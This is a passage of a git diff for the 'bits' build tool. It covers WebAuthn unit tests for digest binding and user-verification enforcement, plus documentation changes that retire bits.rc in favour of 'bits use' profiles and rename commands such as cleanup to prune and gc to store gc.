"sign_count": 0}) # idempotent + s2 = credentials.CredentialStore(path) + self.assertEqual(len(s2.get("alice")), 1) + finally: + shutil.rmtree(d, ignore_errors=True) + + +class TestDigestBinding(unittest.TestCase): + def test_assertion_binds_to_the_digest(self): + s = _settings() + dev = SoftWebauthnDevice() + opts_json, chal = webauthn_rp.registration_options(s, "alice", []) + cred = webauthn_rp.verify_registration(s, _attestation(dev, opts_json), chal) + + digest = hashlib.sha256(b"the-manifest").digest() + aopts = webauthn_rp.authentication_options(s, digest, [cred]) + assertion = _assertion(dev, aopts) + # Correct digest verifies. + new_count = webauthn_rp.verify_authentication(s, assertion, digest, cred) + self.assertGreaterEqual(new_count, cred["sign_count"]) + # A DIFFERENT digest must NOT verify (content binding — negative control). + other = hashlib.sha256(b"a-different-manifest").digest() + with self.assertRaises(Exception): + webauthn_rp.verify_authentication(s, assertion, other, cred) + + def test_uv_required_rejects_presence_only(self): + # With UV required (prod default), a user-presence-only assertion (all the + # soft authenticator can make) must be rejected — real passkeys set UV. + s_nouv = _settings() # UV off + s_uv = config.Settings(env={"BITS_WEBAUTHN_RP_ID": RP_ID, + "BITS_WEBAUTHN_ORIGIN": ORIGIN}) # UV default on + dev = SoftWebauthnDevice() + opts_json, chal = webauthn_rp.registration_options(s_nouv, "alice", []) + cred = webauthn_rp.verify_registration(s_nouv, _attestation(dev, opts_json), chal) + digest = hashlib.sha256(b"m").digest() + assertion = _assertion(dev, webauthn_rp.authentication_options(s_nouv, digest, [cred])) + webauthn_rp.verify_authentication(s_nouv, assertion, digest, cred) # UV off: ok + with self.assertRaises(Exception): + webauthn_rp.verify_authentication(s_uv, assertion, digest, cred) # UV on: reject + + +class TestRegChallengeStore(unittest.TestCase): + def test_bounded_and_single_use(self): + st = main.session.RegChallengeStore(ttl_seconds=600, max_entries=5) + for i in range(50): + st.put("u%d" % i, {"reg_challenge": "c"}) + self.assertLessEqual(len(st._store), 5) # bounded (anti-DoS) + st.put("alice", {"reg_challenge": "x"}) + self.assertIsNotNone(st.pop("alice")) + self.assertIsNone(st.pop("alice")) # single-use + + +if __name__ == "__main__": + unittest.main() diff --git a/docs/COOKBOOK.md b/docs/COOKBOOK.md index 3ec07f72..03f0d355 100644 --- a/docs/COOKBOOK.md +++ b/docs/COOKBOOK.md @@ -218,16 +218,16 @@ Useful for building private packages that depend on public recipes, or for maint Instead of passing `--remote-store` on every `bits build` invocation, write it once with `bits init`: ```bash -# One-time setup — writes bits.rc in the current directory +# One-time setup — records a per-directory bits use profile +export BITS_ORGANISATION=MYORG bits init --remote-store https://store.example.com/store \ - --write-store b3://mybucket/store \ - --organisation MYORG + --write-store b3://mybucket/store # Every subsequent invocation picks up the settings automatically bits build ROOT ``` -To check what will be written before touching the file system, add `--dry-run`. To update a single key in an existing `bits.rc` without replacing the whole file, add `--append`. +The store settings are saved to the profile's `[build]` section (`./.bitsuse`, or a record under `~/.bits/use/` when the directory is not writeable); the organisation comes from `$BITS_ORGANISATION`. To check what would be saved before touching the file system, add `--dry-run`. ### Share pre-built artifacts over S3 @@ -268,34 +268,24 @@ Any mismatch or missing checksum aborts the build, catching supply-chain tamperi ### Speed up large builds -**Built-in Python scheduler** — build up to N packages in parallel, each using M cores: +**Built-in Python scheduler** — build up to N packages in parallel, each using M cores. `--parallel` on its own uses 4; omit it entirely for a serial build (`--builders` is a kept alias): ```bash -bits build --builders 4 --jobs 8 my_large_stack +bits build --parallel 4 --jobs 8 my_large_stack ``` The scheduler dispatches packages as soon as their dependencies are satisfied. Use `--resources` to declare per-package CPU and memory budgets and prevent overcommit (see [§5 Parallel build modes](REFERENCE.md#5-building-packages)). -**Makeflow** — hand the dependency graph to the external [CCTools Makeflow](https://ccl.cse.nd.edu/software/) engine: +**Prefetch remote tarballs** — with the `--parallel` scheduler, hide network latency by fetching tarballs in the background while packages compile: ```bash -bits build --makeflow my_large_stack - -# Inspect what Makeflow generated if a build fails -cat sw/BUILD/*/makeflow/Makeflow -cat sw/BUILD/*/makeflow/log -``` - -**Pipelined upload** — overlap tarball upload with downstream builds and prefetch remote tarballs in the background (Makeflow only): - -```bash -bits build --makeflow --pipeline \ +bits build --parallel 4 \ --write-store b3://mybucket/store \ --prefetch-workers 4 \ my_large_stack ``` -`--pipeline` splits each rule into `.build` / `.tar` / `.upload` stages; `--prefetch-workers` hides network latency by fetching tarballs before the build loop needs them. +`--prefetch-workers` fetches tarballs before the build loop needs them; the `--parallel` scheduler already overlaps uploads with downstream builds. **Parallel source downloads** — fetch multiple source archives concurrently within each package: @@ -310,11 +300,11 @@ Useful when a recipe lists several large `sources:` URLs. For packages whose parallel builds risk OOM, limit concurrent builds and/or declare per-package resource budgets: ```bash -# Option 1: reduce concurrent package builds -bits build --builders 1 --jobs 8 my_stack +# Option 1: reduce concurrent package builds (serial is the default; omit --parallel) +bits build --jobs 8 my_stack # Option 2: use a resource file -bits build --builders 4 --resources my_resources.json my_stack +bits build --parallel 4 --resources my_resources.json my_stack ``` Where `my_resources.json` declares expected CPU and memory per package: @@ -332,16 +322,16 @@ The Python scheduler will not start a new build unless the declared resources ar ```bash # Evict packages not used in the last 14 days -bits cleanup --max-age 14 +bits prune --max-age 14 # Free space until at least 50 GiB is available, removing least-recently-used packages first -bits cleanup --min-free 50 +bits prune --min-free 50 # Dry run: show what would be removed without deleting anything -bits cleanup --max-age 7 --min-free 100 -n +bits prune --max-age 7 --min-free 100 -n ``` -Bits tracks a sentinel file for each installed package; `bits cleanup` sorts by last-touched time and evicts the oldest entries first. Combine both flags to enforce both a time limit and a disk-space floor in a single pass. See [§7 bits cleanup](USERGUIDE.md#7-cleaning-up) for full options. +Bits tracks a sentinel file for each installed package; `bits prune` (formerly `bits cleanup`) sorts by last-touched time and evicts the oldest entries first. Combine both flags to enforce both a time limit and a disk-space floor in a single pass. See [§7 bits cleanup](USERGUIDE.md#7-cleaning-up) for full options. ### Verify a live deployment against a build manifest diff --git a/docs/REFERENCE.md b/docs/REFERENCE.md index fb652b36..1e7d0e78 100644 --- a/docs/REFERENCE.md +++ b/docs/REFERENCE.md @@ -276,9 +276,9 @@ objects are streamed once and stamped), so every manifest converges on the one stable object that certification verifies. Store objects are never overwritten. -#### Store garbage collection — `bits gc` +#### Store garbage collection — `bits store gc` -`bits gc --trust-manifest ` sweeps unreferenced objects +`bits store gc --trust-manifest ` sweeps unreferenced objects from the shared S3 store. The roots are every content hash in the *verified* signed common manifest; any store object whose hash is not a root and is older than `--grace-days` (default 7) is removed. It is deliberately conservative: @@ -304,8 +304,7 @@ user or CI job with write keys can upload artifacts and the build manifest. Certification (signing) is a separate, deliberate step performed by a **group admin** via bits-console (SSO-authenticated), which triggers a CI job to sign the manifest with the single trust anchor key. Consumers reuse only artifacts listed -in a verified signed manifest (`--require-signed-reuse` + `--trust-manifest`). See -`docs/adr/0004-group-signed-trusted-reuse.md` for the full model. +in a verified signed manifest (`--require-signed-reuse` + `--trust-manifest`). #### Licence compliance and redistribution policy @@ -395,7 +394,7 @@ pylint bits_helpers/ | `bits_helpers/init.py` | `bits init` — writable development checkouts | | `bits_helpers/doctor.py` | `bits doctor` — system-requirements checking | | `bits_helpers/clean.py` | `bits clean` — stale artifact removal from temporary build area | -| `bits_helpers/cleanup.py` | `bits cleanup` — LRU + disk-pressure eviction from persistent workDir; sentinel management | +| `bits_helpers/cleanup.py` | `bits prune` (was `bits cleanup`) — LRU + disk-pressure eviction from persistent workDir; sentinel management | | `bits_helpers/publish.py` | `bits publish` — copy, relocate, and stream packages to a CVMFS ingestion spool | | `bits_helpers/scheduler.py` | Multi-threaded parallel build scheduler | | `bits_helpers/sync.py` | Remote binary store backends (HTTP, S3, Boto3, CVMFS, rsync) | @@ -545,9 +544,8 @@ BITS_PROVIDERS=https://github.com/bitsorg/bits-providers (default) # Use a private provider repository instead export BITS_PROVIDERS=https://github.com/myorg/my-recipes.git@main -# Or set it persistently in bits.rc / .bitsrc / ~/.bitsrc: -# [bits] -# providers = https://github.com/myorg/my-recipes.git@stable +# Or pass it per-run +bits build --providers https://github.com/myorg/my-recipes.git@stable ROOT # Pin to a specific tag export BITS_PROVIDERS=https://github.com/bitsorg/bits-providers@v2.0 @@ -562,7 +560,7 @@ Which path is used is chosen by the front-end: - **Native `bits`** uses the **provider path**: `bits_providers` defaults to the official `bitsorg/bits-providers` registry, so the always-on provider and the org-pointer bootstrap are active. - **The `aliBuild` wrapper** (it exports `BITS_BRANDING=aliBuild`) emulates **legacy aliBuild**: the providers default is *empty*, so no registry is loaded and recipes come from a local `alidist` checkout instead. `aliBuild init` clones `alisw/alidist`, `aliBuild build ` uses it directly, and the legacy build-time `init.sh` is kept (`BITS_LEGACY_INITDOTSH=1`, alidist-compatible hashes; `--legacy-initdotsh` selects it explicitly). -An explicit `BITS_PROVIDERS` / `--providers` / `bits.rc providers` overrides the default in either mode. +An explicit `BITS_PROVIDERS` / `--providers` overrides the default in either mode. ### Bootstrapping a recipe repository from the registry @@ -594,17 +592,15 @@ repository_position: prepend This package is loaded in Phase 1 (before the iterative scan), so its recipes are visible from the very first dependency-resolution pass. Because the package name `bits-providers` is reserved, any recipe file of that name found in the config directory is skipped during the Phase 2 config-dir scan to prevent double-cloning. -### `bits.rc` configuration +### Provider configuration -Provider settings can be stored persistently in a bits configuration file. Bits searches for the following files in order and reads the first one found: +The active provider set is configured through the environment, not a config +file. Set `$BITS_PROVIDERS` to override or disable the built-in default, or pass +`--providers URL` per run; an explicit `$BITS_PROVIDERS` takes precedence over +`--providers`. -Relevant keys in the `[bits]` section: - -```ini -[bits] -# Override or disable the default BITS_PROVIDERS URL. -# An explicit BITS_PROVIDERS environment variable takes precedence. -providers = https://github.com/myorg/my-recipes.git@stable +```bash +export BITS_PROVIDERS=https://github.com/myorg/my-recipes.git@stable ``` ### Provider policy @@ -615,24 +611,19 @@ A provider that needs to appear *before* other directories — for example to sh #### Configuration -In `bits.rc` (persistent, applies to every run in this work tree): +Grant prepend access with the `--provider-policy` flag (format +`name:prepend|append`, entries comma-separated): -```ini -[bits] +```bash # Grant one provider prepend access; keep all others at the safe default. -provider_policy = bits-providers:prepend +bits build --provider-policy bits-providers:prepend MyPackage # Multiple entries are comma-separated. -provider_policy = bits-providers:prepend, myorg-extras:append -``` - -On the command line (per-invocation override): - -```bash -bits build --provider-policy bits-providers:prepend MyPackage +bits build --provider-policy bits-providers:prepend,myorg-extras:append MyPackage ``` -The CLI flag takes precedence over `bits.rc`. +Persist it for the current directory with `bits use build --provider-policy …`. +Provider recipes cannot self-elevate. #### How position is resolved @@ -642,20 +633,15 @@ For each provider, bits evaluates the policy in this order: |----------|--------|--------| | 1 (highest) | `provider_policy` entry for this provider | Exact position used, overrides recipe | | 2 | Recipe's `repository_position` field, **only if `append`** | Respected as-is | -| 3 (default) | Recipe's `repository_position: prepend` **without policy** | Downgraded to `append`; a warning names the required `bits.rc` line | +| 3 (default) | Recipe's `repository_position: prepend` **without policy** | Downgraded to `append`; a warning names the required `--provider-policy` entry | | 4 | No field in recipe | `append` | -When a provider is about to be prepended (whether from policy or recipe), bits scans recipes already visible on `BITS_PATH` and warns for every name collision, listing the affected recipes and the `bits.rc` line that would suppress the warning. The primary config directory (passed via `-c / --config-dir`) is always position 0 in the search order and **cannot** be shadowed by any provider. +When a provider is about to be prepended (whether from policy or recipe), bits scans recipes already visible on `BITS_PATH` and warns for every name collision, listing the affected recipes and the `--provider-policy` entry that would suppress the warning. The primary config directory (passed via `-c / --config-dir`) is always position 0 in the search order and **cannot** be shadowed by any provider. #### Example: patching a default recipe Suppose `myorg-patches` contains a modified `zlib.sh` that you want to take precedence over the version in the upstream provider: -```ini -[bits] -provider_policy = myorg-patches:prepend -``` - ```bash bits build --provider-policy myorg-patches:prepend ROOT # Warning: Provider 'myorg-patches' will shadow 1 recipe(s) already visible @@ -668,7 +654,7 @@ bits build --provider-policy myorg-patches:prepend ROOT | Priority | Source | Example | |----------|--------|---------| | 1 (highest) | `BITS_PROVIDERS` environment variable | `export BITS_PROVIDERS=…` | -| 2 | `providers` key in `bits.rc` / `.bitsrc` / `~/.bitsrc` | `providers = …` | +| 2 | `--providers` command-line flag | `--providers …` | | 3 (default) | Built-in default | `https://github.com/bitsorg/bits-providers` | ### How providers are discovered (two-phase) @@ -695,6 +681,8 @@ This second seed is what allows a defaults file to trigger provider loading (see This naturally handles **nested providers**: a provider whose own recipe repository contains a further provider recipe. +**Local checkout shadowing.** In both phases, before cloning a declared provider ``, bits checks for a local checkout at `//`. If that directory exists and contains recipes, it is used **from there** — added to `BITS_PATH` with its git `HEAD` recorded as provenance (a `-dirty` suffix when the working tree has uncommitted changes) — and the remote clone is skipped. This mirrors how a locally checked-out package shadows its `source`, so a provider you are actively editing (e.g. `lcg.bits/` next to `lcg.bits.sh`) is picked up without re-cloning. Only an already-declared provider is ever shadowed — bits never scans for undeclared `*.bits/` directories, so the recipe/package discovery path is unchanged. `--force-tracked` disables this (and all local-checkout pickup), forcing the remote clone. For an *undeclared* local sub-repo, put it on `BITS_PATH` with `--search-path NAMES`. + ### Triggering providers from a defaults file A defaults file can load a repository provider for all builds that use it by declaring the provider in a top-level `requires` or `build_requires` field: @@ -774,7 +762,7 @@ tox -e darwin # reduced matrix for macOS | Test file | What it covers | |-----------|---------------| | `test_args.py` | CLI argument parsing (legacy tests) | -| `test_new_args.py` | New CLI arguments: `bits cleanup` subparser, `--cvmfs-prefix`, `--no-relocate`; backward-compatibility assertions | +| `test_new_args.py` | New CLI arguments: `bits prune`/`cleanup` subparser, `--cvmfs-prefix`, `--no-relocate`; store/publish group renames; backward-compatibility assertions | | `test_cleanup.py` | `bits_helpers/cleanup.py`: sentinel paths, LRU eviction, age-based eviction, disk-pressure mode, flock concurrency safety | | `test_container_workdir.py` | `container_workDir` / `cachedTarball` path rewriting logic in `build.py`; all four flag combinations; `re.escape()` correctness for paths with regex metacharacters | | `test_always_on_providers.py` | `_read_bits_rc`, `_parse_provider_url`, `_make_bits_providers_spec`, `load_always_on_providers` (BITS_PROVIDERS path, `always_load` scan, double-clone prevention, failure isolation) | @@ -868,15 +856,13 @@ bits build [options] PACKAGE [PACKAGE ...] | `--force-unknown-architecture` | Proceed even if architecture is unrecognised. | | `-j N`, `--jobs N` | Parallel compilation jobs per package. Default: CPU count. | | `--no-auto-patch` | Do not apply recipe `patches:` automatically for any package in this build. The patch files are still staged in `$SOURCEDIR` and exported as `$PATCH0..$PATCH_COUNT`, but each recipe must apply its own patches (e.g. via the `bits_apply_patches` helper). Default: patches are auto-applied. A single recipe can opt out with `auto_patch: false` in its header; a defaults profile can opt out with `auto_patch: false`. See [Controlling patch application](#controlling-patch-application). | -| `--builders N` | Packages to build simultaneously using the built-in Python scheduler. Default: 1 (serial). Mutually exclusive with `--makeflow`; if both are given, `--makeflow` takes precedence. With N>1, each build's `$JOBS` is divided across the builders (the CPU/load budget, see [Memory- and load-aware parallelism](#memory-aware-parallelism)) so the concurrent jobs together do not oversubscribe the machine. | +| `--parallel [N]` | Packages to build simultaneously using the built-in Python scheduler. Bare `--parallel` uses 4; omit it for serial (the default). With N>1, each build's `$JOBS` is divided across the builders (the CPU/load budget, see [Memory- and load-aware parallelism](#memory-aware-parallelism)) so the concurrent jobs together do not oversubscribe the machine. (`--builders` is a kept alias.) | | `--unleash-final` / `--no-unleash-final` | The final (top-level) package depends on every other package, so it is always scheduled last and builds **alone**. With unleashing on (the default for `--builders > 1`), it uses the full `-j` instead of the per-builder share, since nothing else is running; the `mem_per_job` cap still applies (now against the full free RAM). Pass `--no-unleash-final` to keep it on the per-builder share. Falls back to `build_unleash_final:` under the defaults `system:` block when unset. No effect for `--builders 1`. | | `--legacy-initdotsh` / `--initdotsh-from-modules` | How each build's **dependency environment** is set up. The default (`--initdotsh-from-modules`) derives it from the dependencies' modulefiles — the single source of truth for runtime *and* development — so recipes need not hand-reconstruct `PYTHONPATH`/include dirs. `--legacy-initdotsh` uses the legacy build-time `init.sh` instead. **HASHED**: the default folds `BITS_INITDOTSH_FROM_MODULES` into every package hash (a distinct, reproducible identity); legacy folds in nothing, so its hashes are byte-identical to the pre-modules default and bits can still reuse **alidist** tarballs. Legacy is also selectable with `BITS_LEGACY_INITDOTSH=1` in the environment — the aliBuild compatibility wrapper sets it. | | `--critical-path-schedule` / `--no-critical-path-schedule` | Order ready `--builders` jobs by their **critical-path weight** — the longest path, weighted by recorded build times, from each job to the final target — so the build's long pole starts as early as its dependencies allow (Ninja-style scheduling). Weights come from a previous run's `bits_build_stats.json`; with no history the weight reduces to graph depth. **On by default**; `--no-critical-path-schedule` falls back to registration-order dispatch. Falls back to `build_critical_path_schedule:` under the defaults `system:` block when unset. Affects dispatch order only — never what is built or any hash. | | `--build-nice` / `--no-build-nice` | Stagger the concurrent `--builders` jobs across OS scheduling priority so CPU contention degrades gracefully: at any moment one build runs at top priority (full speed) and the others are progressively backed off, with the freed top slot taken over as builds finish. Native builds are wrapped in `nice -n N`; `--docker`/podman builds get `docker run --cpu-shares=W` (each builder is a separate container/cgroup, so the host ranks the build *containers* by cgroup CPU weight). Memory is still capped separately via `mem_per_job`. **On by default** for `--builders > 1`; pass `--no-build-nice` to disable. | | `--build-nice-step N` | Nice increment between concurrent build slots when `--build-nice` is set: slot *k* → nice `min(k×N, 19)`. `N=1` gives a gentle `0,1,2,3` ladder; larger values separate the slots more aggressively. Default: 5. | | `--build-nice-boost-after SECONDS` | With `--build-nice`, a watchdog boosts a long-running straggler compile — one at a time — so a single heavy Fortran/C++ translation unit does not drag out the end of the build. Native builds: the longest-running niced-down build subtree is reniced toward 0 (requires privilege — root / `CAP_SYS_NICE` — and is a logged no-op otherwise). `--docker`/podman builds: each build runs in a named container (`bits-build--`); the watchdog peeks inside with `docker exec … ps`, finds a compiler back-end (cc1plus/f951/…) that has been running longer than this, and renices it with `docker exec --user 0 … renice` (run as root inside the container, so it can raise priority). **Requires `ps` (the `procps` package) in the build image** — see note below. `0` disables. Default: 600. | -| `--makeflow` | Generate a [Makeflow](https://ccl.cse.nd.edu/software/makeflow/) workflow file from the dependency graph and execute it with the `makeflow` binary (must be installed separately from CCTools). Bits collects all pending builds, writes `sw/BUILD//makeflow/Makeflow`, then runs `makeflow` to execute the graph in parallel. Mutually exclusive with `--builders N`. | -| `--pipeline` | Split each Makeflow rule into `.build`, `.tar`, and `.upload` stages so that tarball creation and upload can overlap with downstream builds. Requires `--makeflow`; silently ignored otherwise. | | `--prefetch-workers N` | Spawn *N* background threads to fetch remote tarballs and source archives ahead of the main build loop, so downloads overlap with compilation instead of blocking the serial preparation pass. Default: `-1` (auto — scales with `--builders`, capped at 4); `0` disables. No effect without `--remote-store`. | | `--parallel-downloads N` | Maximum concurrent source/tarball downloads the `--builders` scheduler runs as standalone download tasks (so a checkout overlaps the previous package's build). Default: 2. | | `--auto-resources` | Opt-in measurement-driven scheduling for `--builders > 1`: auto-load the per-package CPU/RAM stats a previous run recorded (re-stamped for this machine) and enable monitoring to refresh them, so the scheduler only admits a new build when the machine still has budget. Off by default (concurrency is then bounded purely by `--builders`); explicit `--resources`/`--resource-monitoring` still take precedence. | @@ -888,6 +874,7 @@ bits build [options] PACKAGE [PACKAGE ...] | `--no-local PACKAGE` | Do not use a local checkout for PACKAGE (repeatable). | | `-w DIR`, `--work-dir DIR` | Work/output directory. Default: `sw`. | | `--config-dir DIR` | Directory containing recipe files. | +| `--search-path NAMES` | Comma-separated recipe sub-repos to search besides the config dir. A relative NAME resolves to `/NAME.bits`; absolute paths are used as-is. Seeds `BITS_PATH` (an explicit `$BITS_PATH` wins). | | `--reference-sources DIR` | Local mirror of git repositories. | | `--remote-store URL` | Binary store to fetch pre-built tarballs from. Append `::rw` to also upload to it. | | `--write-store URL` | Binary store to upload built tarballs to. | @@ -897,9 +884,8 @@ bits build [options] PACKAGE [PACKAGE ...] | `--s3-region REGION` | S3 region. Overrides `$AWS_DEFAULT_REGION`. | | `--s3-addressing-style {auto,path,virtual}` | S3 addressing style for `b3://` stores. MinIO usually needs `path`. Overrides `$S3_ADDRESSING_STYLE`. | | `--disable PACKAGE` | Skip PACKAGE entirely (repeatable). | -| `--prefer-system` | Use system-installed packages where supported. | +| `--prefer-system` | Always prefer system packages where supported. (`--always-prefer-system` is a kept alias.) | | `--no-system` | Never use system-installed packages. | -| `--always-prefer-system` | Always prefer system packages. | | `--check-system-packages` | Check system packages without building. | | `--docker` | Build inside a Docker container. | | `--docker-image IMAGE` | Docker image to use. Implies `--docker`. | @@ -918,7 +904,7 @@ bits build [options] PACKAGE [PACKAGE ...] | `--enforce-checksums` | Abort on source/patch checksum mismatch or missing checksum. | | `--print-checksums` | Print checksums for all sources/patches in YAML format after the build. | | `--write-checksums` | Write or update `checksums/.checksum` after the build. | -| `--store-integrity` | Record and verify SHA-256 of every recalled tarball. Can also be set with `store_integrity = true` in `bits.rc`. See [§21 Store integrity verification](#store-integrity-verification). | +| `--store-integrity` | Record and verify SHA-256 of every recalled tarball. Persist it with `bits use build --store-integrity`. See [§21 Store integrity verification](#store-integrity-verification). | | `--provider-policy POLICY` | Control `BITS_PATH` insertion order for repository providers. Format: `name:prepend\|append` pairs. See [§13 Provider policy](#provider-policy). | | `--from-manifest FILE` | Replay a build from a manifest JSON file; verifies each tarball against `tarball_sha256`. See [§25 Build Manifest](#25-build-manifest). | @@ -1014,7 +1000,7 @@ bits doctor --check-store PACKAGE ... # pre-build store availability repo | Docker daemon reachable | `--docker` or `--runner` | | QEMU binfmt handler for the target architecture | when `--docker` is set | | podman availability and user-namespace support | always | -| CVMFS repository path(s) accessible and non-empty | `--cvmfs-repos` / `bits.rc cvmfs_repos` | +| CVMFS repository path(s) accessible and non-empty | `--cvmfs-repos` / `$BITS_CVMFS_REPOS` | | Free disk space in `--work-dir` ≥ `--min-disk` GiB | always | | Remote store reachable and credentials present | when `--remote-store` is configured | @@ -1060,7 +1046,7 @@ bits doctor --check-store — architecture: slc9_x86-64 | `--check-store` | off | Probe the remote store for each package bits would build. Requires `--remote-store`. Always exits 0. | | `--runner` | off | Validate the full build-runner environment instead of checking package recipes. | | `--json` | off | Emit a machine-readable JSON report (works with `--runner` and `--check-store`). | -| `--cvmfs-repos PATH` | _(none)_ | CVMFS mount path to check (repeatable, `--runner` mode only). Can also be set as `cvmfs_repos = /cvmfs/a,/cvmfs/b` in `bits.rc`. | +| `--cvmfs-repos PATH` | _(none)_ | CVMFS mount path to check (repeatable, `--runner` mode only). Can also be set as `$BITS_CVMFS_REPOS=/cvmfs/a,/cvmfs/b`. | | `--min-disk GIB` | `10.0` | Minimum free disk in `--work-dir` (`--runner` mode). Lower triggers WARN, not FAIL. | | `-a ARCH`, `--architecture ARCH` | auto-detected | Target architecture. | | `--defaults PROFILE` | `release` | Defaults profile for dependency resolution. | @@ -1108,12 +1094,12 @@ bits doctor --runner --json \ --remote-store https://s3.cern.ch/swift/v1/alibuild-repo ``` -**bits.rc keys relevant to `bits doctor`:** +**Environment variables relevant to `bits doctor`:** -| Key | Description | -|-----|-------------| -| `prerequisites_url` | URL shown when the C++ compiler or git is missing. Defaults to the ALICE prerequisite guide. | -| `cvmfs_repos` | Comma-separated list of CVMFS paths checked in `--runner` mode (e.g. `/cvmfs/alice.cern.ch,/cvmfs/sft.cern.ch`). | +| Variable | Description | +|----------|-------------| +| `$BITS_PREREQUISITES_URL` | URL shown when the C++ compiler or git is missing. Defaults to the ALICE prerequisite guide. | +| `$BITS_CVMFS_REPOS` | Comma-separated list of CVMFS paths checked in `--runner` mode (e.g. `/cvmfs/alice.cern.ch,/cvmfs/sft.cern.ch`). | --- @@ -1297,9 +1283,9 @@ Clones the upstream source repository for each named package into a writable loc | `-a ARCH` | Architecture. | | `--defaults PROFILE` | Defaults profile(s); use `::` to combine (e.g. `release::myproject`). Default: `release`. | -#### Config mode — write persistent settings to bits.rc +#### Config mode — record persistent settings with `bits use` -When **no PACKAGE** is given, `bits init` writes the supplied options to a `bits.rc` file and exits. All subsequent `bits` invocations in that directory (or globally, if written to `~/.bitsrc`) will use those settings as defaults without requiring them to be repeated on every command line. Explicit CLI flags always take precedence over bits.rc values. +When **no PACKAGE** is given, `bits init` records the supplied options as a `bits use` profile (`./.bitsuse`, or a `~/.bits/use` record when the directory is not writeable) and exits, so you do not repeat them on every build. `--architecture` is saved to the `[common]` section (applied to every arch-aware command); the rest to `[build]`. Explicit CLI flags always take precedence. ```bash # Persist a remote binary store for the current project @@ -1309,43 +1295,25 @@ bits init --remote-store https://store.example.com/store bits init --remote-store https://store.example.com/store \ --write-store b3://mybucket/store -# Record the organisation and update (not replace) the existing bits.rc -bits init --organisation ALICE --append - -# Preview what would be written without touching the file +# Preview what would be saved without touching the profile bits init --dry-run --remote-store https://store.example.com/store - -# Write to a specific file (default is bits.rc in the current directory) -bits init --rc-file ~/.bitsrc --remote-store https://store.example.com/store ``` -| Config option | bits.rc key | Description | -|---------------|-------------|-------------| -| `--remote-store URL` | `remote_store` | Binary store to fetch pre-built tarballs from. | -| `--write-store URL` | `write_store` | Binary store to upload newly-built tarballs to. | -| `--providers URL` | `providers` | URL of the bits-providers repository (overrides `BITS_PROVIDERS`). | -| `--organisation NAME` | `organisation` | Organisation selecting the registry/provider "home" repo. Also settable via the `BITS_ORGANISATION` environment variable (the `aliBuild` wrapper sets it). | -| `-w DIR`, `--work-dir DIR` | `work_dir` | Default work/output directory (overrides `BITS_WORK_DIR`). | -| `-a ARCH`, `--architecture ARCH` | `architecture` | Default target architecture. | -| `--defaults PROFILE` | `defaults` | Default profile(s), `::` separated. | -| `-c DIR`, `--config-dir DIR` | `config_dir` | Default recipe directory. | -| `--reference-sources DIR` | `reference_sources` | Default mirror directory. | -| `--rc-file FILE` | — | Destination file. Default: `bits.rc` in the current directory. | -| `--append` | — | Merge new settings into the existing file rather than replacing it. | - -**Search order for bits.rc.** Bits searches for persistent configuration in the following locations (highest priority first): `bits.rc`, `.bitsrc`, `~/.bitsrc`. The first file found is used. Only the `[bits]` INI section is read. +| Config option | Saved to | Description | +|---------------|----------|-------------| +| `--remote-store URL` | `[build]` | Binary store to fetch pre-built tarballs from. | +| `--write-store URL` | `[build]` | Binary store to upload newly-built tarballs to. | +| `-a ARCH`, `--architecture ARCH` | `[common]` | Default target architecture. | +| `--defaults PROFILE` | `[build]` | Default profile(s), `::` separated. | +| `-c DIR`, `--config-dir DIR` | `[build]` | Default recipe directory. | +| `-w DIR`, `--work-dir DIR` | `[build]` | Default work/output directory. | +| `--reference-sources DIR` | `[build]` | Default mirror directory. | +| `--organisation NAME` | env only | No build-time flag; set `$BITS_ORGANISATION` (the `aliBuild` wrapper sets it). | +| `--providers URL` | env only | No build-time flag; set `$BITS_PROVIDERS`. | -**Example `bits.rc` created by config mode:** - -```ini -[bits] -remote_store = https://store.example.com/store -write_store = b3://mybucket/store -work_dir = /opt/sw -organisation = MYORG -``` +> **`bits.rc` has been retired.** Earlier versions read a `bits.rc` / `.bitsrc` / `~/.bitsrc` file; it is no longer read. Per-directory settings now live in a `bits use` profile (above); global settings come from environment variables: `$BITS_WORK_DIR`, `$BITS_REPO_DIR` (config dir), `$BITS_ORGANISATION`, `$BITS_PROVIDERS`, `$BITS_PATH` (recipe search path — see `--search-path`), `$BITS_S3_STORE`, `$BITS_PREREQUISITES_URL`, `$BITS_CVMFS_REPOS`. Display prefix and branding (`$BITS_PKG_PREFIX`, `$BITS_BRANDING`) are set by the `aliBuild` wrapper. -> **Format note.** `bits.rc` may be a flat `key = value` file or a single `[bits]` INI section — a header-less file is read as the `[bits]` section. The old per-organisation `[NAME]` sections and the keys `sw_dir`, `repo_dir`, `pkg_prefix`, and `branding` are no longer accepted: `bits` detects such a file, prints the required renames (`sw_dir`→`work_dir`, `repo_dir`→`config_dir`), and exits. `search_path` **is** still supported — it seeds `BITS_PATH` (comma-separated relative names resolve to `/.bits`), which is required so that building a single package whose recipe lives in a sub-repo (e.g. `bits build ROOT` where `ROOT` is in `./lcg.bits`) finds it; an explicit `BITS_PATH` environment variable wins. Display prefix and branding (`BITS_PKG_PREFIX`, `BITS_BRANDING`) are environment concerns the `aliBuild` wrapper sets automatically. +**Saving frequently-used CLI args (`bits use`).** `bits use` records raw command-line arguments per directory so you don't retype them. `bits use --architecture X` saves to the `[common]` section (applied to every arch-aware command); `bits use build --docker --sandbox off` saves to `[build]` (that command only). Saved args are injected right after the action and before your own args, so an explicit flag still wins. `bits use` (no args) shows the active profile and its source; `bits use --clear [SECTION]` clears it. Storage is two-tier: a local `./.bitsuse` when the directory is writeable and owned by you, otherwise a per-directory record under `~/.bits/use/` — so a choice persists even in a read-only checkout. A local `.bitsuse` is honoured only when owned by the invoking user (it is injected before parsing, so an untrusted one is ignored in favour of the home record). `.bitscmd` is the previous name, still read as a fallback. --- @@ -1366,12 +1334,12 @@ bits clean [options] --- -### bits cleanup +### bits prune -Evict packages from a **persistent workDir** based on last-use age and/or available disk space. Intended for shared CI build caches where packages accumulate over time. See [§7 bits cleanup](#bits-cleanup--evict-packages-from-a-persistent-workdir) for full details. +Evict packages from a **persistent workDir** based on last-use age and/or available disk space. Intended for shared CI build caches where packages accumulate over time. (Formerly `bits cleanup`, which still works as a deprecated alias that warns.) See [§7 bits cleanup](#bits-cleanup--evict-packages-from-a-persistent-workdir) for full details. ```bash -bits cleanup [options] +bits prune [options] ``` | Option | Default | Description | @@ -1498,6 +1466,44 @@ bits architecture # print only the architecture string (e.g. ubuntu2204_x86-64 --- +### bits store / bits cvmfs (admin & CI groups) + +Two `bits ` groups act on shared infrastructure rather than a local build. + +**`bits store `** — the shared S3 binary store: + +```bash +bits store ls # list manifests / store objects (default verb) +bits store verify --arch # check signed manifests against the store +bits store gc --trust-manifest # reachability GC (was `bits 